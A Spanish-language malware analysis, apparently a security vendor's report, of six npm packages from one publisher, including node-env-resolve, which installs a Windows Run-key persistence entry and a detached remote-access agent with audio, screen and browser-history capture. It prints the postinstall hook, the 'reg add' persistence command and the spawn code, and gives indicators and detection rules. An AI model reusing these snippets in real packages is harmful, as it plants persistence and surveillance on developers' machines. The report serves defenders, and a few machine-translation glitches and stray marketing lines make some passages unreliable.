TL; DR
Entre el 1 de abril y el 3 de mayo de 2026, un único editor de npm, user0001, registrado con la dirección de Gmail no verificada tanvisoul9@gmail.com, discretamente impulsaron seis paquetes con nombres deliberadamente insulsos y que sonaban a infraestructura: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime y node-env-resolve.
Las dos últimas versiones de node-env-resolveLas versiones 1.0.7 y 1.0.8 fueron detectadas por el sistema de alerta temprana de malware (MEW) de Xygeni el 2 de mayo y confirmadas como maliciosas el 3 de mayo.
El implante es inusual por lo que no es: no hay bots de Telegram, no hay devoluciones de llamada OAST, no ofuscacióny ningún intento de obtener las credenciales de AWS en el momento de la instalación. En su lugar, postinstall.js instala una entrada de persistencia de arranque de Windows, utilizando una clave de ejecución de HKCU que inicia wscript.exe contra un fragmento de código VBS. Luego, genera un agente Node.js independiente que incluye módulos para la captura de micrófono, el robo del historial del navegador, la captura de pantalla y la simulación de ratón/teclado.
A este grupo lo llamamos clúster. DevTap, después del kit, lo deja funcionando en la máquina del desarrollador.
Los seis paquetes estaban disponibles en npm al momento de redactar este informe. Los hemos reportado al canal de abuso del registro. Los defensores deben retirar cualquier instalación del editor hasta que se elimine.
El clúster: seis paquetes, un editor
La cuenta del editor user0001 no está verificado. No tiene SCM Verificación, sin correo electrónico vinculado a un dominio y sin historial previo. El nombre de usuario de Gmail tanvisoul9 No aparece en ningún otro registro de editor de npm que hayamos podido encontrar.
Los seis paquetes listan al mismo mantenedor, fueron publicados desde la misma cuenta y comparten el mismo package.json Texto estándar. No hay repositoryEn homepage, y no description más largo que una sola línea.
La estrategia de nombres es la parte interesante. A diferencia de una clásica campaña de confusión de dependencias o de typosquatting, ninguno de estos nombres apunta a una biblioteca upstream específica. En cambio, están calibrados para desaparecer en un entorno real. package.json or npm ls salida.
| PREMIUM | Publicado por primera vez | Ultima versión | Source-Connect | Función en el clúster |
|---|---|---|---|---|
| centralogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, de 1.0.5 a 1.0.9 | Portada de la “utilidad de registro” de Cluster; publicación más temprana |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Cubierta de ayudante DOM genérico |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Imita la familia de obtención de nodos |
| agente conector | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Agente genérico |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Imita las herramientas de compilación de módulos nativos. |
| resolución de nodos de entorno | 2026-04-25 05:21 UTC | 1.0.9 | 10, de 1.0.0 a 1.0.9 | Gotero activo; implante completo |
Nombres como centralogger, node-fetch-lite y node-gyp-runtime Están diseñados para parecer inofensivos en la revisión de código. Suenan como elementos que ya estarían en el árbol de dependencias de un proyecto.
Combinados con un editor nuevo y no verificado y enlaces de repositorio faltantes, forman un patrón reconocible: un actor que introduce nombres de baja fricción en el registro y luego itera rápidamente sobre el que importa. En este caso, node-env-resolve Recibí diez versiones en ocho días.
¿Qué se instala en un Windows Dev Box?
La cadena maliciosa en node-env-resolve:1.0.8 Es breve, directo y, para ser un RAT de npm, cuenta con una cantidad de funciones inusual.
Postinstalación: Persistencia y agente independiente
package.json declara un único gancho de instalación:
{ "scripts": { "postinstall": "node postinstall.js" } }
postinstall.js Hace tres cosas en orden.
Primero, crea un directorio de instalación fuera del árbol de npm. La ruta se calcula en tiempo de ejecución en el script como INSTALL_DIRLuego ejecuta un proceso interno. execSync('npm install --production --silent ...') dentro de él para extraer las dependencias de tiempo de ejecución del implante. Esto coloca el agente en el disco en algún lugar manual node_modules La auditoría no encontrará nada.
En segundo lugar, escribe un lanzador VBS y lo registra para que persista al arrancar el sistema:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
/v ${AGENT_NAME} \
/t REG_SZ \
/d "wscript.exe \"${vbsPath}\"" /f
wscript.exe es el Windows Script Host, un binario firmado de Microsoft que se ejecuta .vbs archivos sin una ventana de consola. Eso es anteriorcisely por qué se prefiere para los stubs de ejecución automática.
También hay una coincidencia reg delete camino interior src/index.jslo que sugiere que el implante está diseñado para poder ser retirado fácilmente a petición del operador.
En tercer lugar, genera un proceso hijo independiente:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {
detached: true,
env: { ...process.env, SERVER_URL }
})
Aquí hay dos detalles importantes.
SERVER_URL Se lee del entorno. Por lo tanto, el punto final C2 es configurable por despliegue y no está integrado en el paquete. Esta pequeña pero deliberada decisión frustra la mayoría de los análisis estáticos de E/S.
Además, el hijo generado hereda el entorno completo del padre. Por lo tanto, cualquier NPM_TOKEN, AWS_*, GITHUB_TOKENo el socket del agente SSH presente en el shell del desarrollador en el momento de la instalación viaja a la memoria del agente de larga duración.
Lo que el agente envía con
el paquete src/ El árbol incluye tres módulos cuyos nombres por sí solos lo dicen todo: audioCapture.js, browserHistory.js y systemInfo.js.
La lista de dependencias de tiempo de ejecución, resuelta durante la fase npm install, los corrobora.
Este enfoque transforma un incidente caótico en una respuesta controlada.
En lugar de reaccionar a ciegas, los equipos operan con Priorización clara y remediación rápida..
| Dependencia | Para qué sirve en este contexto |
|---|---|
| captura de pantalla del escritorio | Captura de pantalla periódica |
| @nut-tree-fork/nut-js | Automatización del ratón y el teclado / simulación de entrada |
| mejor-sqlite3 | Lecturas directas de las bases de datos SQLite del historial de Chrome, Edge y Firefox. |
| adm-zip | Agrupar los artefactos recolectados antes de la exfiltración. |
| agudo | Redimensionamiento/compresión de capturas de pantalla y artefactos de imagen |
| cliente socket.io | Canal C2 bidireccional persistente |
| ID de máquina de nodo | Huella digital estable por host para el seguimiento de víctimas |
systemInfo.js llamadas os.networkInterfaces() para realizar un análisis de huellas digitales adicional antes de la primera baliza.
Por qué la captura de audio es la señal más destacada
La mayoría de los RAT de npm que analizamos en MEW se detienen en el robo de Secreto en el momento de la instalación. Ellos leen ~/.npmrc, Lea ~/.aws/credentials, raspar process.envSe envía una solicitud POST a un webhook y se cierra la sesión. Esto encaja con un modelo económico de robo rápido. Las credenciales tienen una vida útil corta y el atacante necesita obtener beneficios rápidamente.
node-env-resolve tiene una forma diferente.
La persistencia está configurada para sobrevivir al reinicio. El agente se ejecuta de forma independiente y de larga duración bajo wscript.exeEl conjunto de herramientas que incluye está diseñado para estar presente en la máquina del desarrollador, no para cogerlo y marcharse: una grabadora de micrófono, un controlador de teclado/ratón, ingesta completa del historial del navegador, captura de pantalla y un canal interactivo Socket.IO que se conecta a un servidor C2 configurable.
La captura de micrófono, en particular, es el límite que cruza esta campaña y que la mayoría del malware de npm no cruza.
Cada vez más, la estación de trabajo de un desarrollador es también el lugar donde realiza reuniones diarias, atiende llamadas de clientes, participa en discusiones de diseño y mantiene contacto con otros profesionales durante las guardias. Un dispositivo que graba el micrófono no busca realmente el token npm del desarrollador, sino lo que este dice frente al portátil.
Ese conjunto de capacidades, sumado a la falta de ofuscación y la ausencia de cualquier exfiltración llamativa durante la instalación, se interpreta como un preposicionamiento para el acceso dirigido, en lugar de un robo de credenciales oportunista.
No estamos afirmando la atribución basándonos únicamente en esto. Estamos tomando nota del perfil operativo.
La cadencia de iteración de ocho días en node-env-resolve Es el detalle más revelador desde el punto de vista operativo en la cronología.
No se trata de una instalación sin más. El editor mantiene activamente el instalador, lo que suele significar una de dos cosas: o bien lo están ajustando en entornos de prueba antes de su implementación a mayor escala, o bien ya reciben datos de telemetría de instalación y están respondiendo a ellos.
Los otros cinco paquetes prácticamente no sufrieron cambios tras su publicación inicial. Esto se ajusta al patrón de "configurar una vez y dejar con nombre" para el clúster de soporte, mientras que el esfuerzo de ingeniería se centra en el paquete que realiza el trabajo.
Atribución: Pequeñas pistas, sin veredicto definitivo
Público OSINT Las señales son débiles y no las vamos a exagerar. Lo que se puede observar:
El nombre de usuario de Gmail tanvisoul9 Se asemeja parcialmente a un nombre propio del sur de Asia, "Tanvi". Esta es una señal débil. Los nombres de usuario de Gmail no son identidad, y el final soul9 Es genérico. No es seguro inferir la geografía solo a partir de la parte local de un correo electrónico.
El estilo de código de Node.js no tiene nada de particular: standard llamadas a la biblioteca como os, child_process, spawn y reg addNo hay ofuscación, ni rotación de cadenas, ni lógica anti-depuración. El autor se siente cómodo con las primitivas del registro de Windows y la orquestación de procesos secundarios independientes, pero no parece estar recurriendo a técnicas más sigilosas que podría estar utilizando.
Las dependencias son completamente estándar y bien conocidas: screenshot-desktop, nut-js, better-sqlite3 y socket.io-clientNo hay ningún protocolo personalizado, ninguna pila C2 creada desde cero, ni ningún truco de persistencia novedoso más allá de un manual. Clave de ejecución de HKCUSe trata de un integrador competente, no de un creador de herramientas.
No encontramos cadenas de texto que no estuvieran en inglés, comentarios incrustados, datos de configuración regional ni huellas digitales de la zona horaria de salida del compilador dentro de los artefactos publicados.
Verificamos si el código se superponía con campañas anteriores que ya estamos monitoreando, incluyendo: Shai Hulud, Owlivion, Buildkite y el reciente heibai / claude-code-best Familia de clones de Anthropic-CLI. No encontramos ninguna: ni patrones C2 compartidos, ni diseños de archivos compartidos, ni modismos compartidos.
Lo que no diríamos es que se trata de un actor estatal, un grupo conocido o vinculado geográficamente a algún país específico.
El perfil operativo concuerda con el de un equipo pequeño y con habilidades moderadas dedicado a la vigilancia de estaciones de trabajo de desarrolladores. Es probable que exista una motivación económica derivada del uso posterior del acceso, pero posiblemente también de la prestación de servicios de reconocimiento a un comprador independiente.
Dos puntos indirectos respaldan esa lectura: evitar mecanismos de exfiltración que llamen la atención y quemarían rápidamente el clúster, como los bots de Telegram, oastify.com, o canarytokens, y los nombres de paquetes deliberadamente insulsos, que favorecen las instalaciones tranquilas de cola larga en lugar de un breve pico de alto volumen.
Indicadores de compromiso y detección
| Paquetes y editor | |
|---|---|
| Campo | Valor |
| editor npm | user0001 |
| Correo electrónico del editor | tanvisoul9@gmail.com, sin verificar |
| Paquetes | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Malicioso confirmado | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Artefactos anfitriones | |
|---|---|
| Tipo | Valor |
| Clave de persistencia | HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run |
| Valor de persistencia | Nombre de variable; datos con el formato wscript.exe " \\ .vbs" |
| Instalar gancho | postinstall: node postinstall.js en el manifiesto del paquete |
| Módulos de implantes | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Directorio de preparación | INSTALL_DIR se resuelve fuera de la carpeta node_modules del proyecto; la ubicación la establece postinstall.js en el momento de la instalación. |
| Network | |
|---|---|
| Tipo | Valor |
| Transporte de C2 | socket.io-client, canal bidireccional persistente |
| Punto final C2 | Se proporciona al agente a través de la variable de entorno SERVER_URL; no está codificado directamente en los artefactos publicados. |
Notas de detección
Dos reglas permiten detectar a esta familia sin necesidad del punto final C2.
Primero, marque los scripts de postinstalación que realizan una operación interna. npm install en una ruta fuera del propio directorio del paquete. Cualquier descargador de precompilación legítimo, como node-gyp reconstrucciones o descargadores binarios precompilados, escribe dentro del paquete o en la plataforma.standard Rutas de caché con hashes verificados. No escribe en una recién creada. INSTALL_DIR en otra parte del disco.
Segundo, marque los scripts de postinstalación que presenten problemas. reg add HKCU\…\Run con wscript.exe como lanzador. Esto prácticamente nunca es legítimo para un paquete npm. Marcarlo y ponerlo en cuarentena.
Una tercera heurística es útil para detectar el siguiente paquete hermano antes de que se confirme: un nuevo publicador npm sin SCM verificación, un correo electrónico de Gmail, no repository La existencia de un campo, y de múltiples nombres de paquetes cortos, genéricos y que suenan a infraestructura, publicados con pocos días de diferencia, es suficiente por sí sola para justificar una revisión manual.
Se ha informado al registro de npm. Actualizaremos esta publicación cuando se elimine la cuenta del editor.





